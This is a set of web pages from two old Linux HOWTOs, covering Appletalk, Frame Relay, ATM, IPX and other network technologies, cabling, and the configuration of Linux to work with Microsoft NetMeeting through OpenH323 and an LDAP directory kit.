To do this you must configure the /usr/local/atalk/etc/AppleVolumes.system file. There is another configuration file called /usr/local/atalk/etc/AppleVolumes.default This file has exactly the same format: it describes which filesystems users connecting with guest privileges will receive.

Full details on how to configure these files (and their various options) can be found in the afpd man page.

A simple example might look like:

  /tmp Scratch
  /home/ftp/pub "Public Area"

This would export your /tmp filesystem as AppleShare Volume `Scratch', and it would export your ftp public directory as AppleShare Volume `Public Area'. The volume names are not mandatory. The daemon will choose some for you, but it won't hurt to specify them anyway.

12.2.3. Sharing your Linux printer across Appletalk.

It is simple to share your linux printer with your Apple machines. You need to run the papd program, the Appletalk Printer Access Protocol Daemon. When you run this program, it will accept requests from your Apple machines and spool the print job to your local line printer daemon.

You need to edit the /usr/local/atalk/etc/papd.conf file to configure the daemon. The syntax of this file is the same as that of your usual /etc/printcap file. The name you give to the definition is registered with the Appletalk naming protocol NBP.

A sample configuration might look like:

  TricWriter:\
     :pr=lp:op=cg:

This would make a printer named `TricWriter' available to your Appletalk network. All accepted jobs would be printed to the linux printer `lp' (as defined in the /etc/printcap file) using lpd. The entry `op=cg' says that the linux user `cg' is the operator of the printer.

12.2.4. Starting the appletalk software.

Ok.You should now be ready to test this basic configuration. There is an rc.atalk file supplied with the netatalk package that should work ok for you, so all you should have to do is:

    root# /usr/local/atalk/etc/rc.atalk

All should startup and run ok. You should see no error messages. The software will send messages to the console indicating each stage as it starts.

12.2.5. Testing the appletalk software.

To test that the software is functioning properly: go to one of your Apple machines, pull down the Apple menu, select the Chooser, click on AppleShare, and your Linux box should appear.

12.2.6. Caveats of the appletalk software.

  • You may need to start the Appletalk support before you configure your IP network. If you have problems starting the Appletalk programs (or if after you start them you have trouble with your IP network), then try starting the Appletalk software before you run your /etc/rc.d/rc.inet1 file.

  • The afpd (Apple Filing Protocol Daemon) SEVERELY MESSES UP YOUR HARD DISK. It creates a couple of directories called ``.AppleDesktop'' and Network Trash Folder below the mount points. For each directory you access, it will create a .AppleDouble below it so it can store resource forks, etc. Think twice before exporting /; you will have a great time cleaning up afterwards.

  • The afpd program expects clear text passwords from the Macs. Security could be a problem, so be very careful when you run this daemon on a machine connected to the Internet. You only have yourself to blame if somebody nasty does something bad!

  • The existing diagnostic tools (such as netstat and ifconfig) don't support Appletalk. The raw information is available in the /proc/net/ directory.

12.2.7. More information

For a much more detailed description of how to configure Appletalk for Linux, refer to Anders Brownworth Linux Netatalk-HOWTO page at thehamptons.com.

Prev | Home | Next
ARCNet | Up | ATM


ATM

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.3. ATM

Werner Almesberger <werner.almesberger@lrc.di.epfl.ch> is managing a project to provide Asynchronous Transfer Mode support for Linux. Current information on the status of the project may be obtained from: lrcwww.epfl.ch. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Appletalk (AF_APPLETALK) | Up | AX25 (AF_AX25)


AX25 (AF_AX25)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.4. AX25 (AF_AX25)

AX.25 device names are `sl0', `sl1', etc. in 2.0.* kernels or `ax0', `ax1', etc. in 2.1.* kernels.

Kernel Compile Options:
    Networking options  --->
        [*] Amateur Radio AX.25 Level 2

The AX25, Netrom and Rose protocols are covered by the AX25-HOWTO. These protocols are used by Amateur Radio Operators world wide in packet radio experimentation.

Most of the work for implementation of these protocols has been done by Jonathon Naylor: jsn@cs.nott.ac.uk. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
ATM | Up | DECNet


DECNet

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.5. DECNet

Support for DECNet is currently a work in progress. You should expect it to appear in a late 2.1.* kernel. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
AX25 (AF_AX25) | Up | FDDI


FDDI

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.6. FDDI

FDDI device names are `fddi0', `fddi1', `fddi2' etc. The first card detected by the kernel is assigned `fddi0' : the rest are assigned sequentially in the order that they are detected.

Larry Stefani, lstefani@ultranet.com, has developed a driver for the Digital Equipment Corporation FDDI EISA and PCI cards.

Kernel Compile Options:
    Network device support  --->
        [*] FDDI driver support
        [*] Digital DEFEA and DEFPA adapter support

When you have your kernel built and installed to support the FDDI driver, configuration of the FDDI interface is almost identical to that of an ethernet interface. You just specify the appropriate FDDI interface name in the ifconfig and route commands. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
DECNet | Up | Frame Relay


Frame Relay

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.7. Frame Relay

The Frame Relay device names are `dlci00', `dlci01' etc for the DLCI encapsulation devices, and `sdla0', `sdla1' etc for the FRAD(s).

Frame Relay is a new networking technology that is designed to suit data communications traffic that is of a `bursty' or intermittent nature. You connect to a Frame Relay network using a Frame Relay Access Device (FRAD). The Linux Frame Relay supports IP over Frame Relay as described in RFC-1490.

Kernel Compile Options:
    Network device support  --->
        <*> Frame relay DLCI support (EXPERIMENTAL)
        (24)   Max open DLCI
        (8)   Max DLCI per device
        <*>   SDLA (Sangoma S502/S508) support

Mike McLagan, mike.mclagan@linux.org, developed the Frame Relay support and configuration tools.

Currently the only FRAD I know of that are supported are Sangoma Technologies S502A, S502E , S508, and the Emerging Technologies. The Emerging Technologies website is found at: here.

I would like to make a point at this juncture. I have personal experience with Emerging Technologies, and I do not recommend them. I found thier staff to be very unprofessional and extremely rude. If anyone else has been fortunate enough to have a good experience with them, I would like to know. I will say this for Emerging Technologies: their product is flexible, and it and appears to be stable.

To configure the FRAD and DLCI devices (after you have rebuilt your kernel), you will need the Frame Relay configuration tools. These are available from ftp.invlogic.com.

Compiling and installing the tools is straightforward, but the lack of a top level Makefile makes it a fairly manual process:

    user% tar xvfz .../frad-0.15.tgz
    user% cd frad-0.15
    user% for i in common dlci frad; make -C $i clean; make -C $i; done
    root# mkdir /etc/frad
    root# install -m 644 -o root -g root bin/*.sfm /etc/frad
    root# install -m 700 -o root -g root frad/fradcfg /sbin
    rppt# install -m 700 -o root -g root dlci/dlcicfg /sbin

Note that the previous commands use sh syntax. If you use a csh flavour instead (like tcsh), the for loop will look different.

After installing the tools, you need to create an /etc/frad/router.conf file. You can use this template (which is a modified version of one of the example files):

# /etc/frad/router.conf
# This is a template configuration for frame relay.
# All tags are included. The default values are based on the code
# supplied with the DOS drivers for the Sangoma S502A card.
#
# A '#' anywhere in a line constitutes a comment.
# Blanks are ignored (you can indent with tabs too).
# Unknown [] entries and unknown keys are ignored .
#
[Devices]
Count=1                 # number of devices to configure
Dev_1=sdla0             # the name of a device
#Dev_2=sdla1            # the name of a device
# Specified here, these are applied to all devices and can be overridden for
# each individual board.
#
Access=CPE
Clock=Internal
KBaud=64
Flags=TX
#
# MTU=1500              # Maximum transmit IFrame length, default is 4096
# T391=10               # T391 value    5 - 30, default is 10
# T392=15               # T392 value    5 - 30, default is 15
# N391=6                # N391 value    1 - 255, default is 6
# N392=3                # N392 value    1 - 10, default is 3
# N393=4                # N393 value    1 - 10, default is 4
# Specified here, these set the defaults for all boards
# CIRfwd=16             # CIR forward   1 - 64
# Bc_fwd=16             # Bc forward    1 - 512
# Be_fwd=0              # Be forward    0 - 511
# CIRbak=16             # CIR backward  1 - 64
# Bc_bak=16             # Bc backward   1 - 512
# Be_bak=0              # Be backward   0 - 511
#
#
# Device specific configuration
#
#
#
# The first device is a Sangoma S502E
#
[sdla0]
Type=Sangoma            # Type of the device to configure, currently only
                        # SANGOMA is recognized
#
# These keys are specific to the 'Sangoma' type
#
# The type of Sangoma board - S502A, S502E, S508
Board=S502E
#
# The name of the test firmware for the Sangoma board
# Testware=/usr/src/frad-0.10/bin/sdla_tst.502
#
# The name of the FR firmware
# Firmware=/usr/src/frad-0.10/bin/frm_rel.502
#
Port=360                # Port for this particular card
Mem=C8                  # Address of memory window, A0-EE, depending on card
IRQ=5                   # IRQ number, do not supply for S502A
DLCIs=1                 # Number of DLCI's attached to this device
DLCI_1=16               # DLCI #1's number, 16 - 991
# DLCI_2=17
# DLCI_3=18
# DLCI_4=19
# DLCI_5=20
#
# Specified here, these apply to this device only,
# and override defaults from above
#
# Access=CPE            # CPE or NODE, default is CPE
# Flags=TXIgnore,RXIgnore,BufferFrames,DropAborted,Stats,MCI,AutoDLCI
# Clock=Internal        # External or Internal, default is Internal
# Baud=128              # Specified baud rate of attached CSU/DSU
# MTU=2048              # Maximum transmit IFrame length, default is 4096
# T391=10               # T391 value    5 - 30, default is 10
# T392=15               # T392 value    5 - 30, default is 15
# N391=6                # N391 value    1 - 255, default is 6
# N392=3                # N392 value    1 - 10, default is 3
# N393=4                # N393 value    1 - 10, default is 4
#
# The second device is some other card
#
# [sdla1]
# Type=FancyCard        # Type of the device to configure.
# Board=                # Type of Sangoma board
# Key=Value             # values specific to this type of device
#
# DLCI Default configuration parameters
# These may be overridden in the DLCI specific configurations
#
CIRfwd=64               # CIR forward   1 - 64
# Bc_fwd=16             # Bc forward    1 - 512
# Be_fwd=0              # Be forward    0 - 511
# CIRbak=16             # CIR backward  1 - 64
# Bc_bak=16             # Bc backward   1 - 512
# Be_bak=0              # Be backward   0 - 511
#
# DLCI Configuration
# These are all optional. The naming convention is
# [DLCI_D<devicenum>_<DLCI_Num>]
#
[DLCI_D1_16]
# IP=
# Net=
# Mask=
# Flags defined by Sangoma: TXIgnore,RXIgnore,BufferFrames
# DLCIFlags=TXIgnore,RXIgnore,BufferFrames
# CIRfwd=64
# Bc_fwd=512
# Be_fwd=0
# CIRbak=64
# Bc_bak=512
# Be_bak=0
[DLCI_D2_16]
# IP=
# Net=
# Mask=
# Flags defined by Sangoma: TXIgnore,RXIgnore,BufferFrames
# DLCIFlags=TXIgnore,RXIgnore,BufferFrames
# CIRfwd=16
# Bc_fwd=16
# Be_fwd=0
# CIRbak=16
# Bc_bak=16
# Be_bak=0

After you've built your /etc/frad/router.conf file, the only step remaining is to configure the actual devices. This is only a little trickier than a normal network device configuration. Remember to bring up the FRAD device before the DLCI encapsulation devices. These commands are best hosted in a shell script because of their number:

    #!/bin/sh
    # Configure the frad hardware and the DLCI parameters
    /sbin/fradcfg /etc/frad/router.conf || exit 1
    /sbin/dlcicfg file /etc/frad/router.conf
    #
    # Bring up the FRAD device
    ifconfig sdla0 up
    #
    # Configure the DLCI encapsulation interfaces and routing
    ifconfig dlci00 192.168.10.1 pointopoint 192.168.10.2 up
    route add -net 192.168.10.0 netmask 255.255.255.0 dlci00
    #
    ifconfig dlci01 192.168.11.1 pointopoint 192.168.11.2 up
    route add -net 192.168.11.0 netmask 255.255.255.0 dlci00
    #
    route add default dev dlci00
    #
Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
FDDI | Up | IPX (AF_IPX)


IPX (AF_IPX)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.8. IPX (AF_IPX)

The IPX protocol is most commonly utilized in Novell NetWare(tm) local area network environments. Linux includes support for this protocol, and it may be configured to act as a network endpoint (or, as a router for IPX).

Kernel Compile Options:
    Networking options  --->
        [*] The IPX protocol
        [ ] Full internal IPX network

The IPX protocol and the NCPFS are covered in greater depth in the IPX-HOWTO. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Frame Relay | Up | NetRom (AF_NETROM)


NetRom (AF_NETROM)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.9. NetRom (AF_NETROM)

NetRom device names are `nr0', `nr1', etc.

Kernel Compile Options:
    Networking options  --->
        [*] Amateur Radio AX.25 Level 2
        [*] Amateur Radio NET/ROM

The AX25, Netrom and Rose protocols are covered by the AX25-HOWTO. These protocols are used by Amateur Radio Operators world wide in packet radio experimentation.

Most of the work for implementation of these protocols has been done by Jonathon Naylor, jsn@cs.nott.ac.uk. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
IPX (AF_IPX) | Up | Rose protocol (AF_ROSE)


Rose protocol (AF_ROSE)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.10. Rose protocol (AF_ROSE)

Rose device names are `rs0', `rs1', etc. in 2.1.* kernels. Rose is available in the 2.1.* kernels.

Kernel Compile Options:
    Networking options  --->
        [*] Amateur Radio AX.25 Level 2
        <*> Amateur Radio X.25 PLP (Rose)

The AX25, Netrom and Rose protocols are covered by the AX25-HOWTO. These protocols are used by Amateur Radio Operators world wide in packet radio experimentation.

Most of the work for implementation of these protocols has been done by Jonathon Naylor: jsn@cs.nott.ac.uk. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
NetRom (AF_NETROM) | Up | SAMBA - `NetBEUI', `NetBios', `CIFS' support.


SAMBA - `NetBEUI', `NetBios', `CIFS' support.

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.11. SAMBA - `NetBEUI', `NetBios', `CIFS' support.

SAMBA is an implementation of the Session Management Block protocol. Samba allows Microsoft and other systems to mount and use your disks and printers.

SAMBA and its configuration are covered in detail in the SMB-HOWTO. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Rose protocol (AF_ROSE) | Up | STRIP support (Starmode Radio IP)


STRIP support (Starmode Radio IP)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.12. STRIP support (Starmode Radio IP)

STRIP device names are `st0', `st1', etc.

Kernel Compile Options:
    Network device support  --->
        [*] Network device support
        ....
        [*] Radio network interfaces
        < > STRIP (Metricom starmode radio IP)

STRIP is a protocol designed (specifically for a range of Metricom radio modems) for a research project being conducted by Stanford University called the MosquitoNet Project. There is a lot of interesting reading here (even if you aren't directly interested in the project).

The Metricom radios connect to a serial port, employ spread spectrum technology and are typically capable of about 100kbps. Information on the Metricom radios is available from: Metricom Web Server.

The standard network tools and utilities currently do not support the STRIP driver. You will have to download some customized tools from the MosquitoNet web server. Details on what software you need is available at: MosquitoNet STRIP Page.

A summary of the configuration is that you use a modified slattach program to set the line discipline of a serial tty device to STRIP. Configure the resulting `st[0-9]' device as you would for ethernet with one important exception: for technical reasons, STRIP does not support the ARP protocol, so you must manually configure the ARP entries for each of the hosts on your subnet. This shouldn't prove too onerous! Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
SAMBA - `NetBEUI', `NetBios', `CIFS' support. | Up | Token Ring


Token Ring

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.13. Token Ring

Token ring device names are `tr0', `tr1' etc. Token Ring is an IBM standard LAN protocol that avoids collisions by providing a mechanism that allows only one station on the LAN the right to transmit at a time. A `token' is held by one station. This station is the only one allowed to transmit. When it has transmitted its data, it then passes the token onto the next station. The token loops amongst all active stations; hence the name `Token Ring'.

Kernel Compile Options:
    Network device support  --->
        [*] Network device support
        ....
        [*] Token Ring driver support
        < > IBM Tropic chipset based adaptor support

Configuration of token ring is identical to that of ethernet except for configuring the network device name. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
STRIP support (Starmode Radio IP) | Up | X.25


X.25

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.14. X.25

X.25 is a circuit based packet switching protocol defined by the C.C.I.T.T. (a standards body recognized by Telecommunications companies in most parts of the world). Implementations of X.25 and LAPB are currently being worked on, and recent 2.1.* kernels include the work in progress.

Jonathon Naylor jsn@cs.nott.ac.uk is leading the development. A mailing list has been established to discuss Linux X.25 related matters. If you'd like to subscribe, send a message to: majordomo@vger.rutgers.edu. Be sure to include the text "subscribe linux-x25" in the body of the message.

Early versions of the configuration tools may be obtained from Jonathon's ftp site at :ftp.cs.nott.ac.uk.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Token Ring | Up | WaveLan Card


WaveLan Card

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.15. WaveLan Card

Wavelan device names are `eth0', `eth1', etc.

Kernel Compile Options:
Network device support  --->
    [*] Network device support
    ....
    [*] Radio network interfaces
    ....
    <*> WaveLAN support

The WaveLAN card is a spread spectrum wireless lan card. The card looks very much like an ethernet card, and it is configured in much the same manner.

You can get information on the Wavelan card from Wavelan.com. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
X.25 | Up | Cables and Cabling


Serial NULL Modem cable

Linux Networking HOWTO
Prev Chapter 13. Cables and Cabling Next

13.1. Serial NULL Modem cable

Not all NULL modem cables are alike. Many null modem cables do little more than trick your computer into thinking all the appropriate signals are present (and then swap transmit and receive data). This is ok, but it means that you must use software flow control (XON/XOFF) that is less efficient than hardware flow control. The following cable provides the best possible signalling between machines, and it allows you to use hardware (RTS/CTS) flow control.
Pin Name  Pin                               Pin
Tx Data    2  -----------------------------  3
Rx Data    3  -----------------------------  2
RTS        4  -----------------------------  5
CTS        5  -----------------------------  4
Ground     7  -----------------------------  7
DTR        20 -\---------------------------  8
DSR        6  -/
RLSD/DCD   8  ---------------------------/-  20
                                         \-  6
Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Cables and Cabling | Up | Parallel port cable (PLIP cable)


Parallel port cable (PLIP cable)

Linux Networking HOWTO
Prev Chapter 13. Cables and Cabling Next

13.2. Parallel port cable (PLIP cable)

If you intend to use the PLIP protocol between two machines, then this cable will work for you (irrespective of what sort of parallel ports you have installed).
Pin Name    pin            pin
STROBE      1*
D0->ERROR   2  ----------- 15
D1->SLCT    3  ----------- 13
D2->PAPOUT  4  ----------- 12
D3->ACK     5  ----------- 10
D4->BUSY    6  ----------- 11
D5          7*
D6          8*
D7          9*
ACK->D3     10 ----------- 5
BUSY->D4    11 ----------- 6
PAPOUT->D2  12 ----------- 4
SLCT->D1    13 ----------- 3
FEED        14*
ERROR->D0   15 ----------- 2
INIT        16*
SLCTIN      17*
GROUND      25 ----------- 25

Notes:

  • Do not connect the pins marked with an asterisk `*'.

  • Extra grounds are 18,19,20,21,22,23 and 24.

  • If the cable you are using has a metallic shield, it should be connected to the metallic DB-25 shell at one end only.

Warning: A miswired PLIP cable can destroy your controller card. Be very careful! Be sure to double check every connection to ensure that you don't cause yourself any unnecessary work or heartache.

While you may be able to run PLIP cables for long distances, you should avoid it if you can. The specifications for the cable allow for a cable length of about 1 meter or so. Please be very careful when running long PLIP cables as sources of strong electromagnetic fields (such as lightning, power lines, and radio transmitters) can interfere with and sometimes even damage your controller. If you really want to connect two of your computers over a large distance, then you really should be looking at obtaining a pair of thin-net ethernet cards (and running some coaxial cable). Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Serial NULL Modem cable | Up | 10base2 (thin coax) Ethernet Cabling


10base2 (thin coax) Ethernet Cabling

Linux Networking HOWTO
Prev Chapter 13. Cables and Cabling Next

13.3. 10base2 (thin coax) Ethernet Cabling

10base2 is an ethernet cabling standard that specifies the use of 50 ohm coaxial cable that has a diameter of about 5 millimeters. There are a couple of important rules to remember when interconnecting machines with 10base2 cabling. The first is that you must use terminators at both ends of the cabling. A terminator is a 50 ohm resistor that helps to ensure that the signal is absorbed (and not reflected) when it reaches the end of the cable. Without a terminator at each end of the cabling, you may find that the ethernet is unreliable (or doesn't work). Normally you'd use `T pieces' to interconnect the machines. You would end up with something that looks like this:

 |==========T=============T=============T==========T==========|
            |             |             |          |
            |             |             |          |
          -----         -----         -----      -----
          |   |         |   |         |   |      |   |
          -----         -----         -----      -----

The `|' at either end represents a terminator, the `======' represents a length of coaxial cable with BNC plugs at either end, and the `T' represents a `T piece' connector. You should keep the length of cable between the `T piece' and the actual ethernet card in the PC as short as possible. The `T piece' will ideally be plugged directly into the ethernet card. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Parallel port cable (PLIP cable) | Up | Twisted Pair Ethernet Cable


Twisted Pair Ethernet Cable

Linux Networking HOWTO
Prev Chapter 13. Cables and Cabling Next

13.4. Twisted Pair Ethernet Cable

If you have only two twisted pair ethernet cards (and you wish to connect them), you do not require a hub. You can cable the two cards directly together. A diagram showing how to do this is included in the Ethernet-HOWTO Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
10base2 (thin coax) Ethernet Cabling | Up | Glossary of Terms used in this document.


Current

Linux Networking HOWTO
Prev Chapter 15. Authors Next

15.1. Current

Joshua D. Drake

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Authors | Up | Past


Past

Linux Networking HOWTO
Prev Chapter 15. Authors Next

15.2. Past

Terry Dawson Alessandro Rubini Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Current | Up | Copyright.


LDAP attributes used by NetMeeting

Linux NETMEETING HOWTO
Prev Next

A. LDAP attributes used by NetMeeting

Distinguished Names (DNs) used by NetMeeting must always end in "objectclass=rtperson". The following LDAP attributes are used by NetMeeting:

Table A-1. NetMeeting LDAP attributes

objectClass | must be "RTPerson"
cn | alias used for directory lookups; must be present
sappid | must be "ms-netmeeting"
sprotid | must be "h323"
sprotmimetype | typically "text/h323"; unused
smimetype | typically "text/iuls"; unused
sflags | must be 1
sappguid | unknown
smodop | unknown
sipaddress | decimal IP address
sport | TCP port number; unused
ssecurity | unknown
sttl | entry timeout value in minutes
c | two digit country code
rfc822mailbox | email address
givenname | optional
surname | optional
comment | optional
location | optional
ilsa39321630 | 1 = personal; 2 = business; 4 = adult
ilsa32833566 | 0 = not audio capable; 1 = audio capable
ilsa32964638 | 0 = not video capable; 1 = video capable
ilsa26214430 | 0 = not in a call; 1 = currently in a call
ilsa26279966 | unknown

NetMeeting uses a non-standard means of refreshing dynamic entries. The Microsoft server maintains an "sttl" attribute, which is a time to live for the entry in minutes. A search request for attribute "sttl" resets the timer. If the timer goes to zero, the entry is supposed to disappear from the database. Of course, the sttl attribute doesn't actually exist in the database, and the client doesn't bother to give us the whole DN it wants updated, only supplying the "cn" component in the search request.

Prev | Home | Next
Debugging |  | NetMeeting LDAP protocol violations


NetMeeting LDAP protocol violations

Linux NETMEETING HOWTO
Prev Next

B. NetMeeting LDAP protocol violations

As mentioned, NetMeeting violates the LDAP protocol in several ways. For the record, NetMeeting:

  • Doesn't structure Distinguished Names (DNs) properly

    NetMeeting puts the most significant elements in the DN first, instead of last, using:

            C=US, O=Microsoft, CN=xxx@abc.com, OBJECTCLASS=rtperson

    instead of the proper formating, which is:

                  CN=xxx@abc.com, O=Microsoft, C=US

  • Doesn't include the required "objectclass" attribute

    Instead, it tacks an "OBJECTCLASS" element to the end of the DN, as shown above.

  • Doesn't insert parents into the LDAP server

    This is a clear violation of the LDAP standard, which requires parents to exist before children can be created. I.e, to insert this DN:

                  CN=xxx@abc.com, O=Microsoft, C=US

    this DN must already exist:

            O=Microsoft, C=US

    as must this one:

              C=US

  • Doesn't understand attribute aliases, and is therefore unable to recognize that "sn" and "surname" refer to the same attribute.

  • Requires that attributes in a search request be returned in exactly the same order they were requested, a requirement not guaranteed by the OpenLDAP server.

  • Specifies "base" scope in search requests, when it really should use "sub", since it wants a list of entries, not just one

  • Uses the "%" character as wildcard in search requests, instead of the "*" character specified by the standard.

  • In name attributes ("surname", "givenname"), encodes accented European characters as 8-bit ISO 8859-1, instead of multi character UTF-8 sequences as required by LDAP (RFCs 2252 and 2256).

  • Uses a non-standard means of refreshing dynamic entries.

    The Microsoft server maintains an "sttl" attribute, which is a time to live for the entry in minutes. A search request for attribute "sttl" resets the timer. If the timer goes to zero, the entry is supposed to disappear from the database. NetMeeting 2 supplies an "sttl" attribute, but NetMeeting 3 doesn't actually create the "sttl" attribute at all. Also, the client doesn't bother to give us the whole DN it wants updated, only supplying the "cn" component.

Windows 2000 implements a modified DNS SRV (RFC 2782), an enhanced means of locating network servers, including LDAP. Basically, if your NetMeeting server name is "ils.freesoft.org", Microsoft Active Directory will expect to use a subzone called "_msdcs.ils.freesoft.org". Within this subzone, the domain controller will be called "dc._msdcs.ils.freesoft.org" and its LDAP SRV record will be called "_ldap._tcp.dc._msdcs.ils.freesoft.org", as described by Microsoft. Got it? To specify the default port number (389) on the same host, your DNS SRV entry would look something like this:

$ORIGIN ils.freesoft.org.

_ldap._tcp.dc._msdcs     IN     SRV     1 1 389 ils.freesoft.org.

I've recently (March 2001) tested this myself, and found that it doesn't really do much of anything. The port number appears to be completely ignored. UDP packets are sent to port 389 on the listed host, but the standards don't specify LDAP over UDP and OpenLDAP doesn't support it.

Prev | Home | Next
LDAP attributes used by NetMeeting |  | Interoperation with Cisco


Interoperation with Cisco

Linux NETMEETING HOWTO
Prev Next

C. Interoperation with Cisco

Both NetMeeting and OpenH323 can interoperate with Cisco's voice capable routers. To successfully initiate calls from a Cisco to an OpenH323 (i.e, Linux) client, the G.711 codec must be explicitly specified. For example, with the following configuration, dialing "911" on the Cisco will place a call to a Linux system (10.1.1.1) running OpenH323:

dial-peer voice 911 voip
 destination-pattern 911
 session target ipv4:10.1.1.1
 codec g711ulaw

To call from Linux to a Cisco, use ohphone with a number@host argument. number should be a phone number that's been configured on the Cisco using a dial-peer statement. For example, this will call number "111" on a Cisco (10.1.1.10):

bash$ ohphone -n 111@10.1.1.10

To call from NetMeeting to a Cisco, select the Cisco as a gateway. To do this from NetMeeting, select Tools->Options. For NetMeeting 2, select Audio, check the box labeled "Use H.323 gateway", and enter the Cisco's DNS or IP address. For NetMeeting 3, select General+Advanced Calling..., check the box labeled "Use a gateway..." (not gatekeeper) and enter the Cisco's address. Now, you can type a phone number directly into NetMeeting's address panel and it will be relayed to the Cisco and resolved there, using the Cisco's configured dialing rules. If you're using NetMeeting 2, you'll need to select "H.323 Gateway" from the "Call using:" list when you initiate the call.

Prev | Home | Next
NetMeeting LDAP protocol violations |  | Thanks


Thanks

Linux NETMEETING HOWTO
Prev

D. Thanks

Many thanks have to go to Brent Baccala, who wrote the NetMeeting directory kit, also for his 24-hour E-mail tech support, and encouragement. Without him I would have passed a many nights more to set it up at my own.

Prev | Home
Interoperation with Cisco |


Debugging

Linux NETMEETING HOWTO
Prev Next

5. Debugging

For debugging the NetMeeting directory kit Brent Baccala suggests using ethereal (http://ethereal.zing.org/) to do a packet trace. It's LDAP support is quite good. There is also a trace file option in the Perl script "netmeeting.perl" that can be uncommented.

You might also try running the slapds with debugging turned on (-d 768 is a good start), but their messages are rather confusing.

For debugging H.323, try using the "-t" and "-o" options, supported by all the OpenH323 client programs.

Prev | Home | Next
Using the Software |  | LDAP attributes used by NetMeeting


Linux NETMEETING HOWTO

Brent Baccala

baccala@freesoft.org

Martin Schiffers

mschiffers@axsi.net

Mark F. Komarinski - Conversion from HTML to DocBook 3.1

Revision History
Revision v1.2 | 15 January 2002 | Revised by: bwb
Updated ndk-1.2; handles newer versions of openldap. Added pointers to mailing list
Revision v1.1 | 31 March 2001 | Revised by: bwb
Updated ndk-1.1; handles accented European characters
Revision v1.0 | 13 January 2001 | Revised by: bwb
Initial public release
Revision v0.11 | 25 October 2000 | Revised by: mfk
Conversion to DocBook

This document aims to describe how to make Microsoft NetMeeting interoperate with Linux.

Table of Contents
1. Introduction
2. OpenH323
2.1. What is it?
2.2. Why is it needed?
2.3. Where to get it?
2.4. Installation
2.5. Gatekeepers
3. NetMeeting directory kit
3.1. What is it?
3.2. Why is it needed?
3.3. How it works
3.4. Where to get the software
3.5. Installation
3.6. Server Security
3.7. LDAP issues with Windows 2000
3.8. Interoperation with other LDAP service
4. Using the Software
4.1. Direct Connection
4.2. Directory Operation
4.3. Linking From A Web Page
4.4. Permanent Directory Entries
4.5. Serving Multiple Aliases
4.6. Using the Answering Machine
4.7. Conference Calls
4.8. Routing Calls Through NAT
4.9. Custom Configurations
5. Debugging
A. LDAP attributes used by NetMeeting
B. NetMeeting LDAP protocol violations
C. Interoperation with Cisco
D. Thanks
Next
Introduction


Introduction

Linux NETMEETING HOWTO
Prev Next

1. Introduction

This is the Linux NETMEETING HOWTO; it describes how to configure Linux for interoperation with Microsoft NetMeeting. The latest copy of this document is available at http://www.freesoft.org/software/NetMeeting or from the Linux Documentation Project. <software/NetMeeting@freesoft.org> is a mailing list to discuss Linux NetMeeting interoperation; consult its archive if you have questions unanswered in this HOWTO.

NetMeeting is Microsoft's client implementation of the H.323 international standard teleconferencing protocol suite, providing audio and video conferencing over an IP network. NetMeeting also implements the T.120 protocol suite, providing shared whiteboard, file transfer and application sharing. As an extension, LDAP is used for directory service. NetMeeting is included in Windows 2000 and is freely available for download from http://www.microsoft.com/windows/netmeeting for Windows 95, 98, and NT.

Linux software is presently (October 2000) available to support H.323 (both audio and video) and LDAP directory service, but not T.120 shared whiteboard, file transfer, or application sharing.

If you don't know anything about H.323, I recommend these links:

  • http://www.openh323.org/

  • http://www.databeam.com/h323/h323primer.html

  • http://www.hut.fi/~tttoivan/index4.html

  • http://developer.intel.com/technology/itj/q21998/articles/art_4.htm

If you don't know anything about LDAP, I recommend these links:

  • http://www.openldap.org/

  • http://www.umich.edu/~dirsvcs/ldap/index.html

  • RFCs 2251-2256

If you have other links to recommend, or other suggestions for improving this document, please email me at <baccala@freesoft.org>, or even better email <software/NetMeeting@freesoft.org>

Prev | Home | Next
Linux NETMEETING HOWTO |  | OpenH323


NetMeeting directory kit

Linux NETMEETING HOWTO
Prev Next

3. NetMeeting directory kit

3.1. What is it?

Each NetMeeting client can register with an LDAP server and has a directory window that lists other NetMeeting clients registered with the same server. The NetMeeting directory kit is an extension to the OpenLDAP server that provides directory service to NetMeeting clients.

3.2. Why is it needed?

While NetMeeting can connect directly to another H.323 device by specifying an IP address or DNS name, normally you'll want to use an LDAP directory server. Using an LDAP server lets users see a directory listing of available destinations, and is required if you need to resolve aliases, for example if you want to serve multiple H.323 destinations from a single IP address. A directory server isn't required to connect directly from Linux to a NetMeeting client; use OpenH323 for this.

The NetMeeting client violates the LDAP protocol in several ways, so you'll have problems if you try using a standard LDAP server. The NetMeeting directory kit corrects for these problems and allows an OpenLDAP server to be used for NetMeeting directory service.

3.3. How it works

                 Block diagram of NetMeeting directory kit

___________________         _______    __________________        ______________
|    LDAP server  | request |      |   |   LDAP server  | request|            |
|                 | <-------| Perl |<--|                | <------| NetMeeting |
